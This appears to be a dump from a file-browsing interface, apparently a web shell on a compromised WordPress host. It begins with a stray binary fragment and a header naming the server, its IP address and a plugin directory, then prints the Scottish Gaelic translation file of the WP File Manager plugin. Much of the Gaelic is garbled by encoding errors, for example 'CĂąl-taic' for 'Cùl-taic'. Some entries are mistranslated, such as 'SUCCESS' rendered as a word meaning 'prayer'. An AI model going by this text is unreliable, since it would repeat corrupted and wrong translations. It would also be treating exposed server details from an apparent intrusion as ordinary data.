PK śqhYî¶J‚ßFßF)nhhjz3kjnjjwmknjzzqznjzmm1kzmjrmz4qmm.itm/*\U8ewW087XJD%onwUMbJa]Y2zT?AoLMavr%5P*/ $#$#$#

Dir : /home/trave494/v1world.us/wp-content/plugins/wp-file-manager/languages/
Server: Linux ngx353.inmotionhosting.com 4.18.0-553.22.1.lve.1.el8.x86_64 #1 SMP Tue Oct 8 15:52:54 UTC 2024 x86_64
IP: 209.182.202.254
Choose File :

Url:
Dir : //home/trave494/v1world.us/wp-content/plugins/wp-file-manager/languages/wp-file-manager-gd.po

msgid ""
msgstr ""
"Project-Id-Version: WP File Manager\n"
"Report-Msgid-Bugs-To: \n"
"POT-Creation-Date: 2021-07-16 15:06+0530\n"
"PO-Revision-Date: 2021-07-16 15:09+0530\n"
"Last-Translator: admin <kajal.gill@mysenseinc.in>\n"
"Language-Team: \n"
"Language: gd\n"
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=UTF-8\n"
"Content-Transfer-Encoding: 8bit\n"
"Plural-Forms: nplurals=3; plural=n < 2 ? 0 : n == 2 ? 1 : 2;\n"
"X-Generator: Poedit 2.4.3\n"
"X-Poedit-KeywordsList: __;_e\n"
"X-Poedit-Basepath: ..\n"
"X-Poedit-SearchPath-0: .\n"

#: file_folder_manager.php:119
msgid "Database backup restored successfully."
msgstr "Cùl-taic stòr-dàta air ath-nuadhachadh gu soirbheachail."

#: file_folder_manager.php:121
msgid "Unable to restore DB backup."
msgstr "Cha ghabh cĂąl-taic DB a thoirt air ais."

#: file_folder_manager.php:128
msgid "Plugins backup restored successfully."
msgstr "CĂąl-taic plugins air ath-nuadhachadh gu soirbheachail."

#: file_folder_manager.php:130
msgid "Unable to restore plugins."
msgstr "Cha ghabh plugins a thoirt air ais."

#: file_folder_manager.php:137
msgid "Themes backup restored successfully."
msgstr "Cùl-taic tèamaichean air ath-nuadhachadh gu soirbheachail."

#: file_folder_manager.php:139
msgid "Unable to restore themes."
msgstr "Cha ghabh cuspairean a thoirt air ais."

#: file_folder_manager.php:146
msgid "Uploads backup restored successfully."
msgstr "Luchdaich suas cĂąl-taic air ais gu soirbheachail."

#: file_folder_manager.php:148
msgid "Unable to restore uploads."
msgstr "Cha ghabh luchdachadh suas a thoirt air ais."

#: file_folder_manager.php:155
msgid "Others backup restored successfully."
msgstr "Chaidh cuid eile den chĂąl-taic ath-nuadhachadh gu soirbheachail."

#: file_folder_manager.php:157
msgid "Unable to restore others."
msgstr "Cha ghabh feadhainn eile a thoirt air ais."

#: file_folder_manager.php:161
msgid "Backup not found!"
msgstr "Cha lorgar cĂąl-taic!"

#: file_folder_manager.php:204
msgid "Backups removed successfully!"
msgstr "CĂąl-taic air a thoirt air falbh gu soirbheachail!"

#: file_folder_manager.php:206 file_folder_manager.php:327
msgid "Unable to removed backup!"
msgstr "Cha ghabh cĂąl-taic a thoirt air falbh!"

#: file_folder_manager.php:228
msgid "Database backup done on date "
msgstr "Cùl-taic stòr-dàta air a dhèanamh air ceann-latha "

#: file_folder_manager.php:232
msgid "Plugins backup done on date "
msgstr "Cùl-taic plugins air a dhèanamh air ceann-latha "

#: file_folder_manager.php:236
msgid "Themes backup done on date "
msgstr "Cùl-taic cuspairean air a dhèanamh air ceann-latha "

#: file_folder_manager.php:240
msgid "Uploads backup done on date "
msgstr "Luchdaich suas cùl-taic air a dhèanamh air ceann-latha "

#: file_folder_manager.php:244
msgid "Others backup done on date "
msgstr "Cuid eile cùl-taic air a dhèanamh air ceann-latha "

#: file_folder_manager.php:248 file_folder_manager.php:627
msgid "Logs"
msgstr "Logaichean"

#: file_folder_manager.php:254
msgid "No logs found!"
msgstr "Cha deach logaichean a lorg!"

#: file_folder_manager.php:325
msgid "Backup removed successfully!"
msgstr "CĂąl-taic air a thoirt air falbh gu soirbheachail!"

#: file_folder_manager.php:349
msgid "<span class=\"fm_console_error\">Nothing selected for backup</span>"
msgstr ""
"<span class=\"fm_console_error\">Cha deach dad a thaghadh airson cĂąl-taic</"
"span>"

#: file_folder_manager.php:369
msgid "<span class=\"fm_console_error\">Security Issue.</span>"
msgstr "<span class=\"fm_console_error\">Cuspair tèarainteachd.</span>"

#: file_folder_manager.php:378
msgid "<span class=\"fm_console_success\">Database backup done.</span>"
msgstr ""
"<span class=\"fm_console_success\">Cùl-taic stòr-dàta air a dhèanamh.</span>"

#: file_folder_manager.php:381
msgid ""
"<span class=\"fm_console_error\">Unable to create database backup.</span>"
msgstr ""
"<span class=\"fm_console_error\">Cha ghabh cùl-taic stòr-dàta a chruthachadh."
"</span>"

#: file_folder_manager.php:395
msgid "<span class=\"fm_console_success\">Plugins backup done.</span>"
msgstr ""
"<span class=\"fm_console_success\">Cùl-taic plugins air a dhèanamh.</span>"

#: file_folder_manager.php:398
msgid "<span class=\"fm_console_error\">Plugins backup failed.</span>"
msgstr "<span class=\"fm_console_error\">Dh'fhĂ illig cĂąl-taic plugins.</span>"

#: file_folder_manager.php:407
msgid "<span class=\"fm_console_success\">Themes backup done.</span>"
msgstr ""
"<span class=\"fm_console_success\">Cùl-taic cuspairean air a dhèanamh.</span>"

#: file_folder_manager.php:410
msgid "<span class=\"fm_console_error\">Themes backup failed.</span>"
msgstr ""
"<span class=\"fm_console_error\">Dh'fhĂ illig cĂąl-taic Cuspairean.</span>"

#: file_folder_manager.php:420
msgid "<span class=\"fm_console_success\">Uploads backup done.</span>"
msgstr ""
"<span class=\"fm_console_success\">Luchdaich suas cùl-taic air a dhèanamh.</"
"span>"

#: file_folder_manager.php:423
msgid "<span class=\"fm_console_error\">Uploads backup failed.</span>"
msgstr ""
"<span class=\"fm_console_error\">Dh'fhĂ illig cĂąl-taic luchdaidh suas.</span>"

#: file_folder_manager.php:432
msgid "<span class=\"fm_console_success\">Others backup done.</span>"
msgstr ""
"<span class=\"fm_console_success\">Cuid eile cùl-taic air a dhèanamh.</span>"

#: file_folder_manager.php:435
msgid "<span class=\"fm_console_error\">Others backup failed.</span>"
msgstr ""
"<span class=\"fm_console_error\">Dh ’fhàillig cùl-taic cuid eile.</span>"

#: file_folder_manager.php:439 file_folder_manager.php:443
msgid "<span class=\"fm_console_success\">All Done</span>"
msgstr "<span class=\"fm_console_success\">Uile air a dhèanamh</span>"

#: file_folder_manager.php:612 file_folder_manager.php:613
#: lib/wpfilemanager.php:23
msgid "WP File Manager"
msgstr "Manaidsear faidhle WP"

#: file_folder_manager.php:620
msgid "Settings"
msgstr "Suidhichidhean"

#: file_folder_manager.php:622 inc/root.php:30
msgid "Preferences"
msgstr "Roghainnean"

#: file_folder_manager.php:624
msgid "System Properties"
msgstr "Togalaichean an t-siostaim"

#: file_folder_manager.php:626
msgid "Shortcode - PRO"
msgstr "Shortcode - PRO"

#: file_folder_manager.php:628
msgid "Backup / Restore"
msgstr "CĂąl-taic / Ath-nuadhachadh"

#: file_folder_manager.php:881
msgid "Buy Pro"
msgstr "Ceannaich Pro"

#: file_folder_manager.php:882
msgid "Donate"
msgstr "Thoir seachad"

#: file_folder_manager.php:1091
msgid ""
"<div class=\"updated settings-error notice is-dismissible\" id=\"setting-"
"error-settings_updated\"> \n"
"<p><strong>"
msgstr ""

#: file_folder_manager.php:1098
msgid ""
"<div class=\"error settings-error notice is-dismissible\" id=\"setting-error-"
"settings_updated\"> \n"
"<p><strong>"
msgstr ""

#: file_folder_manager.php:1231
msgid "File doesn't exist to download."
msgstr "Chan eil faidhle ann airson a luchdachadh sìos."

#: file_folder_manager.php:1236
msgid "Invalid Security Code."
msgstr "Còd tèarainteachd neo-dhligheach."

#: file_folder_manager.php:1241
msgid "Missing backup id."
msgstr "Id cùl-taic a dhìth."

#: file_folder_manager.php:1244
msgid "Missing parameter type."
msgstr "Seòrsa paramadair a dhìth."

#: file_folder_manager.php:1247
msgid "Missing required parameters."
msgstr "Paramadairean a tha a dhìth."

#: inc/backup.php:583
msgid "WP File Manager - Backup/Restore"
msgstr "Manaidsear faidhle WP - CĂąl-taic / Ath-nuadhachadh"

#: inc/backup.php:589
msgid "Backup Options:"
msgstr "Roghainnean cĂąl-taic:"

#: inc/backup.php:596
msgid "Database Backup"
msgstr "Cùl-taic stòr-dàta"

#: inc/backup.php:602
msgid "Files Backup"
msgstr "CĂąl-taic faidhlichean"

#: inc/backup.php:606
msgid "Plugins"
msgstr "Plugins"

#: inc/backup.php:609
msgid "Themes"
msgstr "Cuspairean"

#: inc/backup.php:612
msgid "Uploads"
msgstr "Luchdaich suas"

#: inc/backup.php:615
msgid "Others (Any other directories found inside wp-content)"
msgstr ""
"Feadhainn eile (StiĂąiridhean sam bith eile a lorgar am broinn susbaint wp)"

#: inc/backup.php:619
msgid "Backup Now"
msgstr "CĂąl-taic a-nis"

#: inc/backup.php:627
msgid "Time now"
msgstr "Ùine a-nis"

#: inc/backup.php:637
msgid "SUCCESS"
msgstr "URNUIGH"

#: inc/backup.php:639
msgid "Backup successfully deleted."
msgstr "Chaidh an cĂąl-taic a dhubhadh Ă s gu soirbheachail."

#: inc/backup.php:640
msgid "Ok"
msgstr "Glè mhath"

#: inc/backup.php:655
msgid "DELETE FILES"
msgstr "FILES DELETE"

#: inc/backup.php:657
msgid "Are you sure you want to delete this backup?"
msgstr ""
"A bheil thu cinnteach gu bheil thu airson an cĂąl-taic seo a dhubhadh Ă s?"

#: inc/backup.php:658 inc/backup.php:677
msgid "Cancel"
msgstr "Sguir dheth"

#: inc/backup.php:659 inc/backup.php:678
msgid "Confirm"
msgstr "Dearbhaich"

#: inc/backup.php:674
msgid "RESTORE FILES"
msgstr "FILES RESTORE"

#: inc/backup.php:676
msgid "Are you sure you want to restore this backup?"
msgstr ""
"A bheil thu cinnteach gu bheil thu airson an cĂąl-taic seo a thoirt air ais?"

#: inc/backup.php:704
msgid "Last Log Message"
msgstr "Teachdaireachd Log mu dheireadh"

#: inc/backup.php:707
msgid "The backup apparently succeeded and is now complete."
msgstr ""
"Tha e coltach gun do shoirbhich leis an cĂąl-taic agus tha e a-nis deiseil."

#: inc/backup.php:709
msgid "No log message"
msgstr "Gun teachdaireachd log"

#: inc/backup.php:715
msgid "Existing Backup(s)"
msgstr "CĂąl-taic (ean) gnĂ thaichte"

#: inc/backup.php:724
msgid "Backup Date"
msgstr "Ceann-latha cĂąl-taic"

#: inc/backup.php:727
msgid "Backup data (click to download)"
msgstr "Dàta cùl-taic (cliog gus luchdachadh sìos)"

#: inc/backup.php:730
msgid "Action"
msgstr "Gnìomh"

#: inc/backup.php:750
msgid "Today"
msgstr "An-diugh"

#: inc/backup.php:771
msgid "Restore"
msgstr "Ath-nuadhachadh"

#: inc/backup.php:772 inc/backup.php:782
msgid "Delete"
msgstr "Cuir Ă s"

#: inc/backup.php:773
msgid "View Log"
msgstr "Faic Log"

#: inc/backup.php:778
msgid "Currently no backup(s) found."
msgstr "An-drĂ sta cha deach cĂąl-taic (ean) a lorg."

#: inc/backup.php:781
msgid "Actions upon selected backup(s)"
msgstr "Gnìomhan air cùl-taic (ean) taghte"

#: inc/backup.php:783
msgid "Select All"
msgstr "Tagh Uile"

#: inc/backup.php:784
msgid "Deselect"
msgstr "Deselect"

#: inc/backup.php:786
msgid "Note:"
msgstr "Nota:"

#: inc/backup.php:786
msgid "Backup files will be under"
msgstr "Bidh faidhlichean cĂąl-taic fo"

#: inc/backup.php:803
msgid "Backup is running, please wait"
msgstr "Tha cùl-taic a ’ruith, fuirich ort"

#: inc/backup.php:901
msgid "Are you sure want to remove selected backup(s)?"
msgstr ""
"A bheil thu cinnteach gu bheil thu airson cĂąl-taic (ean) taghte a thoirt air "
"falbh?"

#: inc/contribute.php:3
msgid "WP File Manager Contribution"
msgstr "Tabhartas Manaidsear File WP"

#: inc/logs.php:7
msgid ""
"Note: These are demo screenshots. Please buy File Manager pro to Logs "
"functions."
msgstr ""
"Nota: Is e seo seallaidhean-sgrìn demo. Feuch an ceannaich thu File Manager "
"pro gu gnìomhan Logs."

#: inc/logs.php:8 inc/settings.php:12 inc/settings.php:27
#: inc/system_properties.php:5 lib/wpfilemanager.php:25
msgid "Buy PRO"
msgstr "Ceannaich PRO"

#: inc/logs.php:9
msgid "Edit Files Logs"
msgstr "Deasaich logaichean faidhlichean"

#: inc/logs.php:11
msgid "Download Files Logs"
msgstr "Luchdaich sìos logaichean faidhle"

#: inc/logs.php:13
msgid "Upload Files Logs"
msgstr "Luchdaich suas logaichean faidhlichean"

#: inc/root.php:25
msgid "Settings saved."
msgstr "Suidhich air a shĂ bhaladh."

#: inc/root.php:25 inc/root.php:28
msgid "Dismiss this notice."
msgstr "Cuir Ă s don bhrath seo."

#: inc/root.php:28
msgid "You have not made any changes to be saved."
msgstr ""
"Cha do rinn thu atharrachaidhean sam bith airson a bhith air an sĂ bhaladh."

#: inc/root.php:37
msgid "Public Root Path"
msgstr "Slighe freumha poblach"

#: inc/root.php:40
msgid "File Manager Root Path, you can change according to your choice."
msgstr ""
"Root Path Manaidsear File, faodaidh tu atharrachadh a rèir do roghainn."

#: inc/root.php:41
msgid "Default:"
msgstr "Default:"

#: inc/root.php:42
msgid ""
"Please change this carefully, wrong path can lead file manager plugin to go "
"down."
msgstr ""
"Feuch an atharraich thu seo gu faiceallach, faodaidh slighe ceĂ rr toirt air "
"plugan manaidsear faidhle a dhol sìos."

#: inc/root.php:46
msgid "Enable Trash?"
msgstr "Dèan comas air sgudal?"

#: inc/root.php:49
msgid "After enable trash, your files will go to trash folder."
msgstr ""
"Às deidh sgudal a chomasachadh, thèid na faidhlichean agad gu pasgan sgudail."

#: inc/root.php:54
msgid "Enable Files Upload to Media Library?"
msgstr ""
"Dèan comas air faidhlichean a luchdachadh suas gu leabharlann nam meadhanan?"

#: inc/root.php:57
msgid "After enabling this all files will go to media library."
msgstr ""
"Às deidh seo a chomasachadh thèid a h-uile faidhle gu leabharlann nam "
"meadhanan."

#: inc/root.php:62
msgid "Save Changes"
msgstr "SĂ bhail atharrachaidhean"

#: inc/settings.php:10
msgid "Settings - General"
msgstr "Suidhichidhean - Coitcheann"

#: inc/settings.php:11 inc/settings.php:26
msgid ""
"Note: This is just a demo screenshot. To get settings please buy our pro "
"version."
msgstr ""
"Nota: Chan eil an seo ach glacadh-sgrìn demo. Gus suidheachaidhean "
"fhaighinn, ceannaich an dreach pro againn."

#: inc/settings.php:13
msgid ""
"Here admin can give access to user roles to use filemanager. Admin can set "
"Default Access Folder and also control upload size of filemanager."
msgstr ""
"An seo faodaidh admin cothrom a thoirt do dhleastanasan luchd-cleachdaidh "
"gus manaidsear faidhle a chleachdadh. Faodaidh an rianachd Folder Access "
"Default a shuidheachadh agus cuideachd smachd a chumail air meud luchdaidh "
"suas faidhle."

#: inc/settings.php:15
msgid "Settings - Code-editor"
msgstr "Suidhichidhean - Deasaiche còd"

#: inc/settings.php:16
msgid ""
"File Manager has a code editor with multiple themes. You can select any "
"theme for code editor. It will display when you edit any file. Also you can "
"allow fullscreen mode of code editor."
msgstr ""
"Tha deasaiche còd aig Manaidsear File le iomadh cuspair. Faodaidh tu cuspair "
"sam bith a thaghadh airson deasaiche còd. Nochdaidh e nuair a dheasaicheas "
"tu faidhle sam bith. Cuideachd faodaidh tu modh làn-sgrìn de dheasaiche còd "
"a cheadachadh."

#: inc/settings.php:18
msgid "Code-editor View"
msgstr "Sealladh deasaiche còd"

#: inc/settings.php:20
msgid "Settings - User Restrictions"
msgstr "Suidhichidhean - Cuingeachaidhean cleachdaiche"

#: inc/settings.php:21
msgid ""
"Admin can restrict actions of any user. Also hide files and folders and can "
"set different - different folders paths for different users."
msgstr ""
"Faodaidh rianachd bacadh a chuir air gnìomhan neach-cleachdaidh sam bith. "
"Cuideachd cuir am falach faidhlichean agus pasgain agus faodaidh iad "
"slighean eadar-dhealaichte - pasgain eadar-dhealaichte a shuidheachadh "
"airson diofar luchd-cleachdaidh."

#: inc/settings.php:23
msgid "Settings - User Role Restrictions"
msgstr "Suidhichidhean - Cuingeachaidhean Dreuchd Cleachdaiche"

#: inc/settings.php:24
msgid ""
"Admin can restrict actions of any userrole. Also hide files and folders and "
"can set different - different folders paths for different users roles."
msgstr ""
"Faodaidh rianachd cuingealachadh a dhèanamh air gnìomhan cleachdaiche sam "
"bith. Cuideachd cuir am falach faidhlichean agus pasganan agus faodaidh iad "
"slighean eadar-dhealaichte - pasgain eadar-dhealaichte a shuidheachadh "
"airson dreuchdan luchd-cleachdaidh eadar-dhealaichte."

#: inc/shortcode_docs.php:11
msgid "File Manager - Shortcode"
msgstr "Manaidsear faidhle - Shortcode"

#: inc/shortcode_docs.php:15 inc/shortcode_docs.php:17
#: inc/shortcode_docs.php:19
msgid "USE:"
msgstr "CLEACHDADH:"

#: inc/shortcode_docs.php:15
msgid ""
"<code>[wp_file_manager_admin]</code> -> It will show file manager on front "
"end. You can control all settings from file manager settings. It will work "
"same as backend WP File Manager."
msgstr ""
"<code> [wp_file_manager_admin] </code> -> Seallaidh e manaidsear faidhle air "
"a ’cheann aghaidh. Faodaidh tu smachd a chumail air a h-uile suidheachadh "
"bho roghainnean manaidsear faidhle. Obraichidh e an aon rud ri backend WP "
"File Manager."

#: inc/shortcode_docs.php:17
msgid ""
"<code>[wp_file_manager]</code> -> It will show file manager on front end. "
"But only Administrator can access it and will control from file manager "
"settings."
msgstr ""
"<code> [wp_file_manager] </code> -> Seallaidh e manaidsear faidhle air a "
"’cheann aghaidh. Ach chan fhaod ach Rianadair faighinn thuige agus bidh "
"smachd aige bho roghainnean manaidsear faidhle."

#: inc/shortcode_docs.php:19
msgid ""
"<code>[wp_file_manager view=\"list\" lang=\"en\" theme=\"light\" dateformat="
"\"d M, Y h:i A\" allowed_roles=\"editor,author\" access_folder=\"wp-content/"
"plugins\" write = \"true\" read = \"false\" hide_files = \"kumar,abc.php\" "
"lock_extensions=\".php,.css\" allowed_operations=\"upload,download\" "
"ban_user_ids=\"2,3\"]"
msgstr ""
"<code>[wp_file_manager view=\"list\" lang=\"en\" theme=\"light\" dateformat="
"\"d M, Y h:i A\" allowed_roles=\"editor,author\" access_folder=\"wp-content/"
"plugins\" write = \"true\" read = \"false\" hide_files = \"kumar,abc.php\" "
"lock_extensions=\".php,.css\" allowed_operations=\"upload,download\" "
"ban_user_ids=\"2,3\"]"

#: inc/shortcode_docs.php:23
msgid "Parameters:"
msgstr "Paramadairean:"

#: inc/shortcode_docs.php:26
msgid "allowed_roles = \"*\""
msgstr ""

#: inc/shortcode_docs.php:26
msgid ""
"-> It will allow all roles to access file manager on front end or You can "
"simple use for particular user roles as like allowed_roles=\"editor,author"
"\" (seprated by comma(,))"
msgstr ""
"-> Leigidh e le gach dreuchd faighinn gu manaidsear faidhle air a ’cheann "
"aghaidh no Faodaidh tu a chleachdadh gu sìmplidh airson dreuchdan "
"cleachdaiche sònraichte mar mar allowed_roles=\"editor,author\" (air a "
"sgaradh le cromag (,))"

#: inc/shortcode_docs.php:28
msgid "access_folder=\"test\""
msgstr ""

#: inc/shortcode_docs.php:28
msgid ""
"-> Here \"test\" is the name of folder which is located on root directory, "
"or you can give path for sub folders as like \"wp-content/plugins\". If "
"leave blank or empty it will access all folders on root directory. Default: "
"Root directory"
msgstr ""
"-> An seo is e \"deuchainn\" ainm pasgan a tha suidhichte air eòlaire "
"freumh, no faodaidh tu slighe a thoirt seachad airson fo-phasganan mar \"wp-"
"content / plugins\". Ma dh ’fhàgas e bàn no falamh gheibh e cothrom air a h-"
"uile pasgan air an eòlaire root. Default: Root directory"

#: inc/shortcode_docs.php:30
msgid "write = \"true\""
msgstr ""

#: inc/shortcode_docs.php:30
msgid ""
"-> for access to write files permissions, note: true/false, default: false"
msgstr ""
"-> airson ruigsinneachd gus ceadan faidhlichean a sgrìobhadh, nota: true/"
"false, Ă bhaisteach: false"

#: inc/shortcode_docs.php:32
msgid "read = \"true\""
msgstr ""

#: inc/shortcode_docs.php:32
msgid "-> for access to read files permission, note: true/false, default: true"
msgstr ""
"-> airson faighinn a-steach gus cead faidhlichean a leughadh, nota: true/"
"false, Ă bhaisteach: true"

#: inc/shortcode_docs.php:34
msgid "hide_files = \"wp-content/plugins,wp-config.php\""
msgstr ""

#: inc/shortcode_docs.php:34
msgid ""
"-> it will hide mentioned here. Note: seprated by comma(,). Default: Null"
msgstr ""
"-> falaichidh e iomradh an seo. Nòta: air a ghlacadh le cromag (,). Default: "
"Null"

#: inc/shortcode_docs.php:36
msgid "lock_extensions=\".php,.css"
msgstr ""

#: inc/shortcode_docs.php:36
msgid ""
"-> It will lock mentioned in commas. you can lock more as like \".php,.css,."
"js\" etc. Default: Null"
msgstr ""
"-> Bidh e glaiste air ainmeachadh ann an cromagan. faodaidh tu barrachd a "
"ghlasadh mar \".php, .css, .js\" msaa. Default: Null"

#: inc/shortcode_docs.php:38
msgid "allowed_operations=\"*\""
msgstr ""

#: inc/shortcode_docs.php:38
msgid ""
"-> * for all operations and to allow some operation you can mention "
"operation name as like, allowed_operations=\"upload,download\". Note: "
"seprated by comma(,). Default: *"
msgstr ""
"-> * airson a h-uile gnìomhachd agus gus beagan obrachaidh a cheadachadh "
"faodaidh tu iomradh a thoirt air ainm obrachaidh mar, Nòta: air a ghlacadh "
"le cromag (,). Default: *"

#: inc/shortcode_docs.php:42
msgid "File Operations List:"
msgstr "Liosta Obraichean faidhle:"

#: inc/shortcode_docs.php:46
msgid "mkdir ->"
msgstr ""

#: inc/shortcode_docs.php:46
msgid "Make directory or folder"
msgstr "Dèan eòlaire no pasgan"

#: inc/shortcode_docs.php:47
msgid "mkfile ->"
msgstr ""

#: inc/shortcode_docs.php:47
msgid "Make file"
msgstr "Dèan faidhle"

#: inc/shortcode_docs.php:48
msgid "rename ->"
msgstr ""

#: inc/shortcode_docs.php:48
msgid "Rename a file or folder"
msgstr "Ath-ainmich faidhle no pasgan"

#: inc/shortcode_docs.php:49
msgid "duplicate ->"
msgstr ""

#: inc/shortcode_docs.php:49
msgid "Duplicate or clone a folder or file"
msgstr "Dèan dùblachadh no clone pasgan no faidhle"

#: inc/shortcode_docs.php:50
msgid "paste ->"
msgstr ""

#: inc/shortcode_docs.php:50
msgid "Paste a file or folder"
msgstr "Cuir a-steach faidhle no pasgan"

#: inc/shortcode_docs.php:51
msgid "ban ->"
msgstr ""

#: inc/shortcode_docs.php:51
msgid "Ban"
msgstr "Ban"

#: inc/shortcode_docs.php:52
msgid "archive ->"
msgstr ""

#: inc/shortcode_docs.php:52
msgid "To make a archive or zip"
msgstr "Gus tasglann no zip a dhèanamh"

#: inc/shortcode_docs.php:53
msgid "extract ->"
msgstr ""

#: inc/shortcode_docs.php:53
msgid "Extract archive or zipped file"
msgstr "Thoir a-mach tasglann no faidhle le zip"

#: inc/shortcode_docs.php:54
msgid "copy ->"
msgstr ""

#: inc/shortcode_docs.php:54
msgid "Copy files or folders"
msgstr "Dèan lethbhreac de fhaidhlichean no de phasganan"

#: inc/shortcode_docs.php:58
msgid "cut ->"
msgstr ""

#: inc/shortcode_docs.php:58
msgid "Simple cut a file or folder"
msgstr "Gearr sìmplidh faidhle no pasgan"

#: inc/shortcode_docs.php:59
msgid "edit ->"
msgstr ""

#: inc/shortcode_docs.php:59
msgid "Edit a file"
msgstr "Deasaich faidhle"

#: inc/shortcode_docs.php:60
msgid "rm ->"
msgstr ""

#: inc/shortcode_docs.php:60
msgid "Remove or delete files and folders"
msgstr "Thoir air falbh no cuir Ă s do fhaidhlichean agus phasganan"

#: inc/shortcode_docs.php:61
msgid "download ->"
msgstr ""

#: inc/shortcode_docs.php:61
msgid "Download files"
msgstr "Luchdaich sìos faidhlichean"

#: inc/shortcode_docs.php:62
msgid "upload ->"
msgstr ""

#: inc/shortcode_docs.php:62
msgid "Upload files"
msgstr "Luchdaich suas faidhlichean"

#: inc/shortcode_docs.php:63
msgid "search -> "
msgstr ""

#: inc/shortcode_docs.php:63
msgid "Search things"
msgstr "Rannsaich rudan"

#: inc/shortcode_docs.php:64
msgid "info ->"
msgstr ""

#: inc/shortcode_docs.php:64
msgid "Info of file"
msgstr "Fiosrachadh mun fhaidhle"

#: inc/shortcode_docs.php:65
msgid "help ->"
msgstr ""

#: inc/shortcode_docs.php:65
msgid "Help"
msgstr "Cuideachadh"

#: inc/shortcode_docs.php:71
msgid "ban_user_ids=\"2,3\""
msgstr ""

#: inc/shortcode_docs.php:71
msgid ""
"->  It will ban particular users by just putting their ids seprated by "
"commas(,). If user is Ban then they will not able to access wp file manager "
"on front end."
msgstr ""
"-> Cuiridh e casg air luchd-cleachdaidh sònraichte le bhith dìreach a ’cur "
"an cuid ids air an sgaradh le cromagan (,). Ma tha an cleachdaiche Ban an "
"uairsin cha bhith e comasach dhaibh faighinn gu manaidsear faidhle wp aig a "
"’cheann aghaidh."

#: inc/shortcode_docs.php:72
msgid "view=\"list\""
msgstr ""

#: inc/shortcode_docs.php:72
msgid "-> Filemanager UI View. Default: grid"
msgstr "-> Filemanager UI View. Default: grid"

#: inc/shortcode_docs.php:73
msgid "dateformat=\"d M, Y h:i A\""
msgstr ""

#: inc/shortcode_docs.php:73
msgid "-> File Modified or Create date format. Default: d M, Y h:i A"
msgstr ""
"-> Faidhle air atharrachadh no cruthaich cruth ceann-latha. Default: d M, Y "
"h: i A."

#: inc/shortcode_docs.php:74
msgid "lang=\"en\""
msgstr ""

#: inc/shortcode_docs.php:74
msgid "-> File manager Language. Default: English(en)"
msgstr "-> Manaidsear faidhle CĂ nan. Default: English(en)"

#: inc/shortcode_docs.php:75
msgid "theme=\"light\""
msgstr ""

#: inc/shortcode_docs.php:75
msgid "-> File Manager Theme. Default: Light"
msgstr "-> Cuspair Manaidsear File. Default: Solas"

#: inc/system_properties.php:5
msgid "File Manager - System Properties"
msgstr "Manaidsear faidhle - Togalaichean Siostam"

#: inc/system_properties.php:10
msgid "PHP version"
msgstr "Tionndadh PHP"

#: inc/system_properties.php:15
msgid "Maximum file upload size (upload_max_filesize)"
msgstr "Meud as motha de luchdachadh suas faidhle (upload_max_filesize)"

#: inc/system_properties.php:20
msgid "Post maximum file upload size (post_max_size)"
msgstr "Post meud luchdachadh suas faidhle as Ă irde (post_max_size)"

#: inc/system_properties.php:25
msgid "Memory Limit (memory_limit)"
msgstr "Cuingealachadh Cuimhne (memory_limit)"

#: inc/system_properties.php:30
msgid "Timeout (max_execution_time)"
msgstr "Ùine (max_execution_time)"

#: inc/system_properties.php:35
msgid "Browser and OS (HTTP_USER_AGENT)"
msgstr "Brabhsair agus OS (HTTP_USER_AGENT)"

#: lib/jquery/jquery-ui-1.11.4.js:8
msgid "'"
msgstr ""

#: lib/wpfilemanager.php:31
msgid "Change Theme Here:"
msgstr "Atharraich Cuspair an seo:"

#: lib/wpfilemanager.php:35
msgid "Default"
msgstr "Default"

#: lib/wpfilemanager.php:39
msgid "Dark"
msgstr "Dorcha"

#: lib/wpfilemanager.php:43
msgid "Light"
msgstr "Solas"

#: lib/wpfilemanager.php:47
msgid "Gray"
msgstr "glas"

#: lib/wpfilemanager.php:52
msgid "Windows - 10"
msgstr ""

#: lib/wpfilemanager.php:85
msgid "Welcome to File Manager"
msgstr "FĂ ilte gu Manaidsear File"

#: lib/wpfilemanager.php:88
msgid ""
"We love making new friends! Subscribe below and we promise to\n"
"    keep you up-to-date with our latest new plugins, updates,\n"
"    awesome deals and a few special offers."
msgstr ""
"Tha sinn dèidheil air caraidean ùra a dhèanamh! Subscribe gu h-ìosal agus "
"tha sinn a ’gealltainn\n"
"    a ’cumail fios riut mu na plugins, ùrachaidhean, as ùire againn\n"
"    cùmhnantan uamhasach agus beagan thairgsean sònraichte."

#: lib/wpfilemanager.php:99
msgid "Please Enter First Name."
msgstr "Cuir a-steach a ’chiad ainm."

#: lib/wpfilemanager.php:107
msgid "Please Enter Last Name."
msgstr "Cuir a-steach ainm mu dheireadh."

#: lib/wpfilemanager.php:116
msgid "Please Enter Email Address."
msgstr "Cuir a-steach seòladh puist-d."

#: lib/wpfilemanager.php:120
msgid "Verify"
msgstr "Dearbhaich"

#: lib/wpfilemanager.php:126
msgid "No Thanks"
msgstr "Chan eil taing"

#: lib/wpfilemanager.php:132
msgid "Terms of Service"
msgstr "Cumhachan Seirbheis"

#: lib/wpfilemanager.php:134
msgid "Privacy Policy"
msgstr "Poileasaidh Dìomhaireachd"

#: lib/wpfilemanager.php:153
msgid "Saving..."
msgstr "A ’sàbhaladh ..."

#: lib/wpfilemanager.php:155
msgid "OK"
msgstr "Ceart gu leòr"

#~ msgid "Manage your WP files."
#~ msgstr "StiĂąirich na faidhlichean WP agad."

#~ msgid "Extensions"
#~ msgstr "Leudachadh"

#~ msgid ""
#~ "Please contribute some donation, to make plugin more stable. You can pay "
#~ "amount of your choice."
#~ msgstr ""
#~ "Cuir a-steach beagan tabhartas, gus plugan a dhèanamh nas seasmhaiche. "
#~ "Faodaidh tu an Ă ireamh de do roghainn a phĂ igheadh."